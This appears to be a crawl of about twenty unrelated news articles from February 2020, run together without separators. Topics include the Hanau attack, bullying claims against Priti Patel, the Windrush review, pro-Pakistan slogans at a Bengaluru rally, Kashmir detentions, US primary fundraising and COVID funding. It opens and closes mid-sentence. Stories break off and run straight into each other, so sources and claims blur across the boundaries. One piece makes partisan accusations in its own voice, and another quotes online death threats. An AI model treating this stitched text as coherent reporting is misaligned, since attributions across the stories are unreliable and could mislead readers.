know anything about Auschwitz. Baberowski is himself part of a right-wing extremist network. He praises dictatorships as alternative orders, and describes terrorist attacks against refugees as comparatively harmless. Three weeks ago, Baberowski physically attacked a university student after the student spotted the professor tearing down election placards for the International Youth and Students for Social Equality. Although the incident was documented on video, the president of Humboldt University, Sabine Kunst (SPD), defended the right-wing extremist professor and even said she found his behaviour understandable. The federal government has also backed Baberowski. Under these conditions, right-wing extremist terrorist attacks like that in Hanau are not only possible, but inevitable. They are the product of the anti-refugee agitation and vicious anticommunism and militarism spearheaded by the grand coalition and supported by all parliamentary parties. Their goal is to reestablish fascism as a political force in Germany once again, so as to suppress the growing social and political resistance within the population. The official mantra that the Hanau gunman is a lone wolf is absurd. The far-right networks enjoy close ties to the police, army and intelligence agencies. They maintain death lists with tens of thousands of names, and are able to operate virtually unhindered. Following the Lubcke murder, the theory of a lone wolf served to suppress the extent of far-right terrorist activities. It is now known that the alleged murderer, Stefan Ernst, a neo-Nazi with a criminal record, and his accomplice Markus H., were involved in far-right politics for several years and had close contact with the Verfassungsschutz. The files that could bring clarity on this have been locked away for 40 years. Following the events in Thuringia, the WSWS warned in its Perspective, Sound the alarm! Political conspiracy and the resurgence of fascism in Germany: The political situation in Germany demands the attention of the European, American and international working class. In the light of the history of the 20th century, it is impossible to adopt a complacent attitude toward the resurgence of neo-Nazism in Germany. This warning has been confirmed in a matter of days. The Hanau attack confirms the conclusion we drew that as throughout the world, a process of political radicalization is underway in Germany." We continued: "The events in Thuringia, which have shocked the public, will accelerate this process. The Sozialistische Gleichheitspartei calls for the protests against the far-right to be expanded and armed with a clear political perspective. It is high time to put an end to the political conspiracy of the grand coalition, the state apparatus and the far-right. The Verfassungsschutz must be dissolved and the surveillance and persecution of left-wing groups must immediately stop. Stop Germanys return to an aggressive militarist foreign policy! For a socialist programme against fascism and war! Priti Patel today faced fresh accusations of bullying during her ministerial career amid claims she 'dressed down' staff in front of their colleagues and asked: 'Why is everyone so f***ing useless?' Ms Patel has faced accusations of belittling civil servants and creating an 'atmosphere of fear' at the Home Office. But claims have now been made relating to her time as international development secretary and when she was a minister at the Department for Work and Pensions -including that she sent 'aggressive' emails in the 'middle of the night'. Allies of the Home Secretary dismissed the allegations as 'malicious gossip'. The latest claims came after it emerged that Ms Patel had tried to oust the permanent secretary at the Home Office, Sir Philip Rutnam, after they clashed. But Sir Philip was today facing a growing backlash as he was accused of overseeing a 'culture of politicised leaks' at the department. It was also claimed that the top mandarin had failed to take 'any responsibility or face any consequence for the Windrush scandal' despite being paid 'more than the prime minister'. Priti Patel, pictured in Downing Street on February 19, has faced accusations of bullying. Her allies have denied the claims Sir Philip Rutnam (pictured left) is said to have raised concerns about Ms Patel's treatment of staff with the Cabinet Office. The Home Secretary reportedly pushed Sir Mark Sedwill (pictured right) to get rid of Sir Philip Who is Sir Philip Rutnam, the Whitehall mandarin who Priti Patel 'wants to get rid of?' Sir Philip Rutnam is one of the most senior civil servants in Whitehall. He joined the Home Office as permanent secretary - the top civil servant role in each department - in April 2017 having previously done the same job at the Department for Transport for five years. However, his time at the Home Office has proved to be controversial because he was in post during the Windrush scandal. He faced calls in November 2018 to resign over it with Tory London mayor candidate Shaun Bailey claiming the mandarin needed to step down to 'restore confidence' in the Home Office. Amber Rudd resigned as home secretary in April 2018 because of the controversy which saw some migrants from Commonwealth countries who came to the UK from the late 1970s to 1973 being wrongly declared illegal immigrants. An official report examining what went wrong found that Ms Rudd had been let down by her officials. However, it stopped short of criticising Sir Philip. Sources today claimed to Politico that Sir Philip was 'nowhere to be seen' during the scandal. They also claimed Sir Philip had failed to take 'any responsibility or face any consequence for the Windrush scandal' despite being 'paid more than the prime minister'. Sir Philip said in November 2018 that he accepted 'personal responsibility for everything that happens in the Department' but that was 'not the same, though, as saying that I am responsible in the sense that I should have done something in real time to prevent it'. Advertisement A number of ex-ministers and officials today made fresh claims about Ms Patel in comments published by The Times. The allegations span the last five years and the newspaper said that concerns had been raised with Number 10 in 2017 about Ms Patel's behaviour when she was aid secretary. Former ministers claimed there was a 'pattern' of unacceptable behaviour. An ex-minister said of the allegations relating to Ms Patel's time at the Home Office: 'Is it a one-off? No it bloody isn't. It's her.' The former minister claimed Ms Patel would 'deliberately dress officials down in front of their colleagues' during team meetings. They also claimed that 'aggressive emails' would be sent by Ms Patel, 'sometimes... in the middle of the night'. Meanwhile, a former official said of Ms Patel's time at the Department for International Development: 'She would come out [of] office and say, "Why is everyone so f***ing useless".' Allies of Ms Patel emphatically rejected the claims and labelled them 'malicious gossip'. It came amid a backlash against Sir Philip who Ms Patel reportedly had asked Cabinet Secretary Sir Mark Sedwill to get rid of. Sir Philip was in post at the Home Office during the Windrush scandal and faced calls to resign over the department's handling of the crisis. One former Home Office insider told Politico that Sir Philip was 'nowhere to be seen' during the scandal. 'Then, just like now, he oversaw a culture of politicised leaks and egotistical briefing from the department and has managed to avoid taking any responsibility or face any consequence for the Windrush scandal, instead staying in the role he gets paid more than the prime minister for, and throwing his deputy and others under the bus,' they said. Sir Philip told the Home Affairs Select Committee in November 2018 that he felt 'personal responsibility for everything that happens in the Department'. He also said he felt 'personal responsibility for the fact that we did not spot the Windrush events sooner'. However, he said that was 'not the same, though, as saying that I am responsible in the sense that I should have done something in real time to prevent it'. Asked today to comment on the claims made against Sir Philip, the Home Office referred back to the statement it issued yesterday in response to the claims made against Ms Patel and said it would not be commenting any further. A Home Office spokesman said: 'We have not received any formal complaints and we take the welfare of our staff extremely seriously.' New claims made against Ms Patel relate to her time at the Department for International Development and Department for Work and Pensions. Ms Patel is pictured with Boris Johnson in December last year Nadhim Zahawi, the Business minister, dismissed the bullying claims made against Ms Patel, saying the Home Secretary is 'utterly professional' Who is Priti Patel, the Home Secretary who made a shock return to the government after Boris Johnson won power? Priti Patel was brought back in to the heart of Government by Boris Johnson last July, less than two years after quitting the Cabinet in disgrace. The daughter of Gujarati Ugandan Asians, she picked up her Tory values and work ethic from her parents. The right-winger and vocal Brexiteer's maternal family was originally from Gujarat in India, before moving to Uganda in the early 20th century and prospered in business. They moved to the UK in the 1960s, before the East African nation's 80,000 Asian community was were expelled by the murderous dictator Idi Amin in 1972. Her parents, Sushil and Anjana, initially lodged in one small room in North London while he completed his studies in engineering. Eventually, they were able to buy a small house in Harrow and used that to secure a bank loan for their first shop, a newsagent in Tottenham. Priti and her younger sister and brother were frequently called upon to work alongside their parents in the several shops and sub-post offices they ran in Nottingham, Ipswich and Norwich. When Priti became secondary school age, the family bought an upmarket chocolate shop in Hertfordshire where there were good state schools, including Watford Grammar where she was head girl. She later got a degree in economics, sociology and social anthropology at Keele University and a post-graduate diploma in government and politics at Essex. Advertisement It came after it emerged that Ms Patel fell out with Home Office officials after she accused them of dragging their feet over tougher action against eco-warrriors. The Home Secretary wanted them to look into ways to change police powers to stop protesters bringing cities to a standstill, a government source said. But she felt they were raising objections to reforms which could have helped the police tackle organisations such as Extinction Rebellion. Allies of Ms Patel have rejected the bullying claims made against her. Business minister Nadhim Zahawi said yesterday: 'I've known Priti for 25 years, she's utterly professional, works night and day to deliver for the country and her constituents and is absolutely focused on making sure... the people voted for us to take back control of our borders.' Pushed on whether he believed Ms Patel is a bully, Mr Zahawi said: 'No, I don't think she is at all. 'I've worked with Priti in the past on several campaigns, I've known her literally for 25 years, she is a brilliant, collegiate team player.' An ally of Ms Patel told The Times: 'The Home Office is dysfunctional and the current permanent secretary had presided over a sacking of a home secretary (Amber Rudd) and accidental deportations. 'If this were any other environment Philip Rutnam would not only be sacked he'd be denied a pension.' But a Home Office source told the newspaper: 'Sir Philip and [Ms Patel] have fundamental disagreements about the rule of law. He's committed and she isn't. 'She's belittled him and caused consternation, and she frequently encourages behaviour outside the rule of law.' It was claimed that bubbling tensions came to a head last week when a senior official collapsed after a meeting with Ms Patel following an all-night effort to reverse a High Court ruling barring the deportation of 25 foreign criminals to Jamaica. At a meeting the following morning he was allegedly confronted by the Home Secretary, who demanded to know why the department had failed to reverse the ruling. He reportedly fell ill later during another meeting and was taken to hospital, where he was found to have a sodium deficiency. Home Office was branded 'institutionally racist' in report into Windrush scandal but the wording 'was watered down before publication' A report which concluded that the Home Office was 'institutionally racist' over its 'hostile environment' immigration policy has been watered down, it was revealed last night. The review into the Government's policy towards migrants has seen the claim edited out of the final draft. It was commissioned in 2018 after Caribbean migrants were detained or deported despite having the right to remain in Britain. The report was expected to be published at the end of March last year but has been subject to delay. Sources told The Times that the phrase 'institutionally racist' was included in an early draft of the report but no longer appears in more recent versions. The Empire Windrush was most famous for trips form the West Indies which brought people to work in the UK It comes as the Home Secretary Priti Patel, tried to move her most senior civil servant in the Home Office, permanent secretary Sir Philip Rutman, following genuine disagreements between the pair, it emerged yesterday Previous leaked versions found that the department was 'reckless' and had a 'defensive culture' over immigration policy, according to the paper. Last week, leaks from an early version of the report emerged during a row over the deportation of criminals to Jamaica. It said that the Government should consider ending the removal of 'foreign-born offenders' who had come to Britain as children. The Windrush Review is being led by Wendy Williams, the inspector of constabulary. Government sources said that it was right that she be given time to complete her work. It comes after it emerged Home Secretary Priti Patel, tried to move her most senior civil servant in the Home Office, permanent secretary Sir Philip Rutman, following genuine disagreements between the pair. But sources denied claims that she had bullied and belittled officials, or that she had made unreasonable demands or created an atmosphere of fear. And the Home Office said no formal complaints had been made. The report has been seen by some officials, but sources stressed that it has not yet been seen by ministers. It was revealed that there are concerns in Whitehall that the members of the panel which helped to write the review could publicly criticise the Government if the report is changed significantly. It is currently going through the process of 'Maxwellisation' - the principle under which a report is shown to ministers and officials it is critical of and they are given the chance to respond. Labour MP David Lammy, who has campaigned on the Windrush scandal, said it had resulted in the 'systematic deportation and detention of black citizens by the Home Office'. Labour MP David Lammy, who has campaigned on the Windrush scandal, said it had resulted in the 'systematic deportation and detention of black citizens by the Home Office' He added: 'The victim's nationality and rights were denied because of the colour of their skin. If that is not institutionally racist, I have no idea what is. 'It would be an outrage and insult to the Windrush generation for Wendy Williams's independent review to be watered down for political reasons. 'The truth must be published in full.' The fallout from the Windrush scandal led to the resignation of Home Secretary Amber Rudd. The Government came under intense criticism over the 'hostile environment' policy championed by then Prime Minister Theresa May. The term 'institutional racism' was famously used in February 1999 to describe Scotland Yard and its response to the murder of the black teenager Stephen Lawrence. The official review, by Sir William Macpherson, defined the term as 'discriminating through unwitting prejudice, thoughtlessness and racist stereotyping'. A Home Office spokesman said: 'This is an independent review being led by Wendy Williams. 'She has not yet submitted the final report to the Home Office. 'Once we have received it, we will publish it as soon as paracticable. Ministers have not seen any version of the report.' Bengaluru: Amulya Leona, the 19-year-old student who stunned people at a protest rally in Bengaluru by shouting pro-Pakistan slogans last night, has sent media and police personnel scrambling to find out her antecedents. After scouring her Facebook and Twitter profile, few could make sense of the development. Why did she raise such a slogan? Is she anti-Indian/pro-Pakistan or whatever? Amulya Leonas Facebook profile amply makes clear that she holds strong political views similar to hundreds of young women protesting the Citizenship Amendment Act or the National Register of Citizens. One of her Facebook posts reads, I will not become a citizen of another country as I say zindabad to any other nation. I am an Indian citizen. It is my duty to respect my nation and work towards the welfare of the people of my country. In this Facebook update, she goes on to post about raising slogans of Zindabad to every nation. She starts by saying Hindustan Zindabad, then says Zinbabad to Pakistan and later takes the names of Bangladesh, Sri Lanka, Nepal, Afghanistan, China and Bhutan. She says that whichever the nation is, she would like to raise a zindabad slogan to it. She explains that a nation is nothing but its people. Whichever governments serves the people, they deserved a zindabad, she says. In her speech at Freedom Park last night, Amulya Leona took the organisers by surprise by launching off in a pro-Pakistan vein. Upon being given the mike, she tried to rouse the audience, saying "Awaaz do!" and reeled off pro-Pakistan slogans in quick succession: "Pakistan Zindabad, Pakistan Zindabad, Pakistan Zindabad." The slogans stunned the people on the dais. Upon hearing the words Pakistan Zindabad, Hyderabad MP Asaduddin Owaisi and others rushed to snatch away the mike from her. To them Amulya says in Hindi, You have given me the mike, so let me speak. Later she is heard saying Hindustan Zindabad. However, even before she completes her sentence, she was taken away. Soon after videos of the Freedom Park incident surfaced on Twitter and Facebook, trolls lost no time in getting at her. The slurs spanned the whole gamut of troll behaviour: misogyny, sexual innuendo, and death threats. While one Facebook user commented "Kill her", other says "send her to Pakistan". "You bloody commie", another one says. One user even goes say "Hey terrorist, hope you liked sleeping with Imran Khan". Such comments are spread throughout her timeline and in her older posts too. PIGGS PEAK Just before they were handed over to SAWS, the vicious dogs said to have been terrorising Piggs Peak residents allegedly attacked a 10-year-old boy and a woman. The boy is a pupil at one of the schools in the area while the woman works at an Asian owned shop in the town centre. The duo was bitten on the same day, last Monday, but at different times at a township known as Macembeni. The boys mother confirmed that her son was bitten and that he was receiving treatment to prevent the transmission of rabies, which causes inflammation of the brain in mammals, including humans. She said her son was attacked by the dogs, which bit him below one of the buttocks. Admitted The boy is not admitted to a hospital but he was instead allocated days where he is expected to see a doctor for observation and further treatment. Narrating the ordeal, the boys mother said her son was saved by climbing up a fence. The boy said the dogs attempted to pull down his pair of trousers. She also revealed that he was still getting medical attention. The dogs also tore up the boys uniform during the attack. Yesterday, when the boy was spotted at school, he was wearing tracksuit pants instead of the normal uniform. Permission was sought from his mother to take a photo of the injury but she said the boy was embarrassed about it because he was bitten near the buttocks. The woman, who was also bitten by the same dogs, said she was bitten by two of them. I tried to take off my shoe so that I could scare them off but it was too late, she said. She said the dogs bit her on the right leg, making it impossible for her to walk properly. The woman said she would have to get six shots of rabies inoculation and that because of this, she had not been able to go to work. Working This means that I will not get paid because I have not been working, she said. According to the owner of the dogs, who is also a businessman, the dogs had been handed over to SAWS. Some of the victims of the dog bites blamed the police for not taking action in the matter, adding that the attacks could sometimes be fatal especially when children were the victims. Chief Police Information and Communications Officer Superintendent Phindile Vilakati said she could not find any records of the latest attacks. However, she also noted that under normal circumstances, dog bites should be reported to the Veterinary Department under the Ministry of Agriculture so that such dogs can be exterminated if they are found to have rabies. Noteworthy is that since the beginning of the year, four people have been bitten by the same dogs. This includes a helper who had been working at the teachers quarters near Mhlatane High School as well as an employee at the Piggs Peak Government Hospital. Three men were arrested for allegedly robbing a person at gunpoint to fund their trip to Manali, police said on Friday. The accused have been identified Shakeel (19), a resident of Budh Vihar and Karan Singh (19) and Puspender (21), both residents of Kanjhawala, they said. One Jatin Dabas (20) was also arrested for disposing off the robbed items, police said. At around 4 pm on February 3, a man informed the police that three unidentified men had robbed his car, cash worth Rs 61,000 and his mobile phone under the Palam Flyover at gun point, a senior police officer said. "During investigation, it was revealed that the same accused persons were also involved in a firing incident in Palam village on the same day. Police analysed the CCTV footage of nearby areas and call records and arrested the accused persons," Deputy Commissioner of Police (Dwarka) Anto Alphonse said. Interrogation revealed that Karan's cousin got married to a person in Palam village. But due to domestic issues, she was residing with her parents, the DCP said. Karan wanted to teach his cousin's husband a lesson. He also made threatening calls to him and demanded Rs 2 crore as the victim was financially sound, police said. They procured a country-made pistol from Bagpath in Uttar Pradesh. On February 3, they first fired in Palam village and threatened Karan's brother-in-law and later robbed the complainant at gun point, police said. After the robbery, they handed over the car to Dabas and left for Manali in Himachal Pradesh, the DCP said. One country-made pistol, one live cartridge and the car were recovered from their possession, they added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) We live in an age of dwindling attention spans and shrinking public memory. So, we may have already forgotten that moment from August in 2018 when Farooq Abdullah, the patriarch of Jammu and Kashmir politics, raised both his arms and invited the audience to chant with him: Bharat Mata ki Jai. He was speaking at a memorial to commemorate the late Bharatiya Janata Party (BJP) leader and former Prime Minister Atal Bihari Vajpayee. For raising these slogans, he was heckled by separatists when he went home to Srinagar. He stood by what he had said. This octogenarian former chief minister of Jammu and Kashmir has, in the past, also told Pervez Musharraf, the former Pakistani president, where to get off, and passionately opposed the release of Jaish-e-Mohammad chief Masood Azhar, during the hijacking of IC-814. Whatever his other flaws may be and like dozens of others of our elected representatives, Farooq Abdullah has many in a state plagued by secessionist and extremist politics, you cannot accuse him of not having stood with India. Its now been six months since he, along with other former chief ministers, Omar Abdullah and Mehbooba Mufti, has been arrested. All three face charges under the draconian Public Safety Act (PSA). Enough has been said about the absurdity of using the PSA against prominent mainstream politicians. The dossiers against them are unconvincing, and seem hastily put together. The PSA is obviously an ex-post-facto excuse to keep them and their party workers away from political activity. In one dossier against former Peoples Democratic Party minister Naeem Akhar, the charges include criticism of the home minister Amit Shah. Omar Abdullah is considered a threat to public safety because he is able to get the vote out during the peak of militancy. And that Mehbooba Mufti was Daddys girl was considered a problem till the police chief explained that this was not part of the final official order, and such language should not have been used in police documents. A serving government employee I met in Srinagar told me that, with the arrests, Delhi had shown the mainstream politicians their place. Now everyone knows how little they matter. Its clear that the government in Delhi can just lock them up in a cage whenever they wish. But that there is little mass outrage on the streets of Srinagar against the political detentions should not be an I-told-you-so moment for the BJP. In fact it should be a matter of great concern. Most ordinary Kashmirs now believe that elected representatives in the Valley have no authority and worse no dignity or standing in Indias political hierarchy. Even those who were once lauded by the BJP, like former civil service exam topper Shah Faesal, have been booked under the PSA. Sajad Lone, who called Narendra Modi his brother, and whose party has been an electoral ally of the BJP, was also locked away. The Modi government may want to believe that it can foster a new Kashmir polity. But at the moment, the vacuum and messaging has only emboldened the separatists and the jihadis. The abject humiliation of those who have chosen to participate in the electoral process has left the separatists and the jihadis and their supporters with the last laugh. This has little to do with the worthiness or performance of these leaders. And yes, there may be an element of karmic irony in the detentions, as many Kashmiris point out. The PSA, which permits detention for up to two years without trial, has been weaponised against hundreds of Kashmiris on the watch of administrations helmed by some of the detained leaders. In 2010, when the streets erupted in clashes between the paramilitary and protesters and more than a 100 young men were killed, Omar Abdullahs government, for instance, used the PSA against more than 600 individuals. But while that may trigger some petty schadenfreude, it does not in any way make these detentions either morally correct or politically useful from Indias point of view. The government can offer many explanations for its decisions in Kashmir a complex history, a desire to integrate the country under one law, Pakistans patronage of terrorism, the misuse of social media by terror groups but it cannot find a single rational or intelligible reason to explain the detentions of those who have sworn allegiance to the Constitution. And if, indeed, the situation on the ground has improved enough for foreign envoys to visit, how or why should anyone be scared of normal political activity, including peaceful protests against the abrogation of Article 370? The prolonged detention of Kashmiri politicians is not just anti-democratic, it is against Indias interests. It is, to borrow from the right-wing, anti-national . Barkha Dutt is an award-winning author and journalist The views expressed are personal . SHARE THIS ARTICLE ON The West Australian government has released a tender to develop technology for a banned drinkers register for the states Pilbara region, with a two-year trial of the program to begin later this year. Racing and Gaming Minister Paul Papalia said the initiative aimed to specifically target people with alcohol problems in the region, which has been hit with several blanket liquor restrictions over the years. A banned drinkers register has widespread support in the Pilbara, which has been hit with several liquor restrictions over the years. Credit:Nic Walker Potential vendors have four weeks to respond to the tender and the trial will be evaluated by the University of WA before a wider roll-out of the scheme. The technology would scan a persons ID when they went to buy alcohol, determine whether or not they were on the register and alert the vendor. Sen. Bernie Sanders would never place himself in the billionaire class. But the Vermont progressive and the Democratic presidential primarys two billionaires former New York City Mayor Mike Bloomberg and activist Tom Steyer are the only candidates who arent hurting for cash as the 2020 primary season heats up. Federal Election Commission filings show Sen. Elizabeth Warren kicked off February with just $2.2 million in cash on hand, placing her at the bottom among the five top candidates remaining in the race. Warren has seen some of her best fundraising days following a fiery debate performance in Las Vegas Wednesday night. NEW, per FEC fillings: Cash on hand on Feb. 1: Sanders: $16.8 million Buttigieg: $6.6 million Biden: $7.1 million Klobuchar: $2.9 million Warren: $2.2 million Bloomberg: N/A Steyer: N/A Shane Goldmacher (@ShaneGoldmacher) February 21, 2020 Sanders, whos long led the Democratic fundraising front and frequently touts an unprecedented number of small donors, started the month with almost $17 million in cash. Former Vice President Joe Biden had $7.1 million, while former South Bend Mayor Pete Buttigieg and Sen. Amy Klobuchar of Minnesota had $6.6 million and $2.9 million, respectively. The relatively light pocketbooks of several candidates compared to Sanders, let alone Bloomberg who at almost $400 million has already spent more of his own money on a presidential race than any campaign in history has sparked a wave of emails and texts to supporters from candidates seeking a fundraising jumpstart ahead of Super Tuesday. The March 3 elections in 14 states will see about one-third of delegates available in the primary spread proportionally among the candidates, Politico reported. Sanders and Buttigieg have led in New Hampshire and Iowa, with Nevada caucuses and South Carolinas primary set for the next two Saturdays. Warren and Klobuchar have a few ads airing in crucial Super Tuesday states, but Biden and Buttigieg have aired zero, the Wall Street Journal reported. NEW: Biden and Buttigieg have aired zero ads in crucial Super Tuesday states. Warren and Klobuchar only a few. Dire January fundraising reports last night explain why:https://t.co/Bz115lOInb Julie Bykowicz (@bykowicz) February 21, 2020 Warren, after her debate boost of $5 million announced Thursday, has set a goal to raise $12 million by Saturday. Buttigieg is pushing to raise $13 million by Super Tuesday. Reiterating a message he delivered in Las Vegas on Wednesday night, Buttigieg said in an email to supporters that Democrats shouldnt have to choose between a polarizing force in Sanders and a financial powerhouse in Bloomberg throwing colossal sums of money on television instead of doing the work of campaigning. Bloomberg, who is skipping the first four voting contests and isnt asking anyone for donations, is holding a series of canvassing events in Massachusetts and other states this weekend while the other Democrats focus attention on Nevada. The Sanders campaign on Friday also announced a series of events throughout the commonwealth over the next three days. To compete against the likes of Sanders, Bloomberg and eventually President Donald Trump, most candidates are also receiving support from super Political Action Committees, groups that Warren previously scorned. This week, the Massachusetts liberal reluctantly declined to ask a Nevada group to stand down after none of her Democratic opponents agreed to refuse super PAC money throughout the primary. Warren said that if all the candidates agree to get rid of super PACs, count me in. Ill lead the charge," she told reporters in Nevada Thursday. "But thats how it has to be. It cant be the case that a bunch of people keep them and only one or two dont. Jeff Chiu/Associated Press The $35 bag fee is gaining traction as U.S. airlines contend with the financial fallout of the grounding of the 737 Max jet and a viral pandemic that has decimated travel to China. United Continental Holdings Inc. will increase the charge for passengers first and second checked bags by $5, to $35 and $45, respectively. The fee changes apply to United tickets purchased as of Friday for domestic and short-haul international travel to Latin American and the Caribbean starting March 6. Source: Xinhua| 2020-02-21 16:29:54|Editor: huaxia Video Player Close A family member (R) sees off a medical worker leaving for Hubei Province at Hohhot Baita International Airport in Hohhot, capital of north China's Inner Mongolia Autonomous Region, Feb. 21, 2020. The eighth batch of medical workers from Inner Mongolia Autonomous Region departed Friday to help the novel coronavirus control efforts in Hubei Province. (Xinhua/Lian Zhen) Source: Xinhua| 2020-02-21 23:03:03|Editor: Mu Xuequan Video Player Close HONG KONG, Feb. 21 (Xinhua) -- Hong Kong Special Administrative Region (HKSAR) Legislative Council (LegCo) approved to allocate 30 billion Hong Kong dollars (3.85 billion U.S. dollars) for Anti-epidemic Fund on Friday. The HKSAR government proposed to the LegCo to set up a fund for the fight against the COVID-19 epidemic days ago. LegCo Finance Committee held a meeting on Friday evening to deliberate on the proposal and approved to earmark 30 billion Hong Kong dollars. HKSAR Chief Executive Carrie Lam expressed her heartfelt thanks to LegCo members for their support and approval of the funding application to achieve the objective of fighting the disease together to ride out the difficult time in a statement. She stressed in the statement that all relevant bureau will spare no efforts in implementing various measures as pledged and try to ease procedures so as to benefit enterprises and members of the public as soon as possible. "In addition to the assistance provided by the SAR government, I appeal again to all sectors in society to stand united in this difficult time and support each other with the spirit of mutual care and assistance to prevail in this challenging period," Lam said. Electoral authorities in Iran extended voting for two hours in the Islamic republics parliamentary election on Friday, state television reported. Based on reports received from constituencies across the country pointing to the presence of people, the voting deadline has been extended for two hours to 8:00 pm (1630 GMT), it said, quoting a statement from the National Elections Committee. SHARE THIS ARTICLE ON (TNS) Orangeburg County is buying a new body scanner for its new jail, which is scheduled to open later this year.The $118,750 body scanner will be purchased from ODC Security.This unit is used at all S.C. Department of Corrections facilities using body scanners, Orangeburg County Deputy Administrator Marion Lloyd said.Orangeburg County Community Development Director Richard Hall said the scanner is comparable to scanners used in airports.County Council approved the purchase Monday.The new, $22 million Orangeburg County Detention Center is nearing completion. Detention center staff will begin training at the facility this month, and full operations will begin in June.The 85,000-square-foot facility will be able to house more than 300 inmates and feature several safety, technology and infrastructure upgrades.Also during Mondays county council meeting: Council gave first-reading approval to the rezoning of property owned by Walter Curry located at 1903 Shillings Bridge Road, Orangeburg, from the residential general district to the forest agricultural district to establish a community center/event hall. Council gave first-reading approval to the rezoning of property owned by Altron Williams located at 871 White Sands Road, Holly Hill, from the rural community district to the commercial general district for a car dealership. Kumar Vikram By Express News Service NEW DELHI: The Airports Authority of India (AAI) has proposed four per cent hike in tariff for air navigation services. AAI has said that the tariff has not seen much change in last many years and review is needed considering the technology upgradation and other factors. Earlier, prices were increased by 10% in December 2016 for both domestic and international tariff. However, the domestic tariff increase was rolled back in July 2017. Further increase of 5% was made in April 2017 for both domestic and international flights. This was later rolled back for domestic flights in July 2017. Hence, in effect, for domestic flights, rates which were applicable in 2001 continue to be applied even after almost two decades, said the authority in its consultation paper. In line with the philosophy for determination of tariff for air navigation services, an increase of 4% in tariff for year 2020-21 and another increase of 4% in tariff for the year 2025-26 is proposed, the AAI has said. The AAI has floated a consultation paper on the issue seeking suggestions and objections over the proposal. Highlighting the potential of the aviation sector, it said India is a nation of 1.35 billion people which has a middle-class population of over 350 million. Around 700 million passengers must be flying per annum at conservative estimates and 2017-18 figure of 187 million passengers is a small fraction of the total potential. Hence, untapped potential in the Indian skies is large, it said. It also said that the requirement of trained employees in air navigation center is on the rise. AAI intends to recruit the personnel to meet the shortfall in the requirement vs availability of officers at the required levels. Hence, cost of all such additional employees to be recruited have also been considered in the projections for the 10 years. The Brandon School Divisions leadership is being as quiet as mice this week as it relates to the presence of rodents at Linden Lanes School. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. The Brandon School Divisions leadership is being as quiet as mice this week as it relates to the presence of rodents at Linden Lanes School. Last week, Q Country/Star FM reported a rumour on their website that there was a mouse problem at Linden Lanes School. They printed an anonymous email from someone who claims to be the spouse of someone who works at the school, saying there was a mouse infestation. We were never sent this email, but we mention it now because of the Brandon School Divisions bizarre and nontransparent means of handling the allegation. We reached out to Brandon School Division communications co-ordinator Kathy Rance for clarity on the allegations by emailed correspondence on Tuesday their preferred means of correspondence. Among our questions was: "Can you confirm that there is or has been a mouse problem at Linden Lanes School?" In response, Rance emailed us back the following statement attributed to Brandon School Division secretary-treasurer Denis Labossiere: "The Brandon School Division utilizes a third party service contractor to monitor and address pest control needs for all facilities. Fluctuations in the weather impacts pest counts and as situations arise they are addressed by the Contractor. Custodial staff utilize commercial cleaning practices/products to maintain our facilities and have been trained with regards to proper disinfection practices." Since this summary of their policies didnt come anywhere close to answering any of our questions, we reiterated it. They then sent us the following: "At the Brandon School Division, the health and safety of our students and staff are paramount to us. We understand there has been some concerns after a story appeared in the media about mouse issues at Linden Lanes School. We want to reassure our families of the steps that have been taken. "We have been working on resolving this issue with our third party service Contractor to monitor and address pest control needs for all the facilities. Our third party Contractor has provided the school with a comprehensive site review and service. "Brandon School Division custodial team members have been trained in proper disinfecting and disposal measures. "Manitoba Public Health has been on site and has reported that the overall situation is being controlled and monitored." As you can see, still no answer. They cite the fact that concerns have been raised, and that they are dealing with said concerns, but they stop short of affirming whether these concerns were valid. Its as though theyre clearing all of their correspondence with media through a lawyer as a means of sharing as little information as possible. It has been quite the runaround, and its unbefitting of a publicly accountable, taxpayer-funded organization such as the Brandon School Division. Its not surprising. Weve expressed similar grievances with them and their restrictive communications policies a few times in the past few years. Last week, we requested information on the school divisions proposed budget in order to more accurately and clearly report to readers what they have proposed, but weve yet to receive these very basic points of clarity. Our intent was to offer readers a more thorough report in advance of tonights public meeting, but thats not happening. But this isnt about us and how difficult it can be at times to do our jobs nobodys claiming journalism is easy. Its about a the Brandon School Divisions lack of commitment to transparency. If they cant answer the very basic and unassuming question of whether there is a rodent problem at one of their schools, which really is a pretty run-of-the-mill problem for any larger building to have, how can we expect them to transparently deal with whatever more complex and/or serious issues arise in the future? Anuj Gupta, who started in June 2015 as general manager of Reading Terminal Market, has announced his departure in April. Read more Anuj Gupta, who has managed Reading Terminal Market for nearly five years, will leave in late April to become chief of staff to U.S. Rep. Dwight Evans (D., Pa.), the market management announced Thursday. Gupta will replace Kimberly Turner-Dixon, who has been Evans chief of staff since the mid-1990s. An Evans spokesperson said Turner-Dixon would remain during the transition. He did not indicate the reason for her impending departure. In a statement, Evans said Gupta would bring a wealth of experience and knowledge to the role. Before joining the market, Gupta, 46, led Mt. Airy USA, a community-development corporation in the city. He also spent three years in Mayor Michael Nutters administration, including nearly two years as chief of staff in Licenses & Inspections. He is a law graduate of the University of Pennsylvania. Gupta, who grew up in Chester County and lives in Mt.Airy, said he would be based mostly in Philadelphia and would travel to Washington a day a week. Gupta met Evans nearly 25 years ago while working on his mayoral campaigns and while a law student. He also interned in Evans state representative office in Harrisburg. The congressman has been a very impactful legislator in our city for a long time, Gupta said. Hes on the Ways and Means Committee and the small-business subcommittee. Hes an elected official who errs on the side of action. He gets things done. If theres some way that I can have a small impact through this position, thats what im excited about. Gupta is due to start April 27, three days after leaving the market. Reading Terminal Market, which fronts 12th Street for nearly a block between Arch and Filbert Streets in Chinatown, gets about 7.5 million visitors annually. The market, with a collection of local food vendors selling fresh and prepared foods, sprawls beneath the old Reading Terminal train shed, now part of the citys Convention Center. Despite the competitive forces we are facing, we are still the best fresh-food option in Philadelphia, Gupta said. Among Guptas accomplishments since he joined the market in June 2015 are what he calls a game-changer an e-commerce service initiative by which customers can choose food items from vendors throughout the market and have them delivered for free. You cant even do this with Jeff Bezos, he said. Gupta is also credited with a Market Ambassador program and creation of a customer service center. Gupta also has led a project to redesign the 1100 block of Filbert Street, a dark underpass beneath the Convention Center. Through a Knight Foundation grant in 2016, Gupta also led the Breaking Bread, Breaking Barriers: Food as a Bridge to Cultural Understanding program to bond Philadelphias diverse communities through cooking and dining experiences. He also was named as a Knight Foundation Public Space fellow in 2019. Market management said it would start a search for Guptas replacement. By Pavel Polityuk and Natalia Zinets KIEV (Reuters) - Ukraine's health minister joined evacuees from China in quarantine in a sanatorium on Friday in a show of solidarity after fears over the possible spread of the coronavirus led 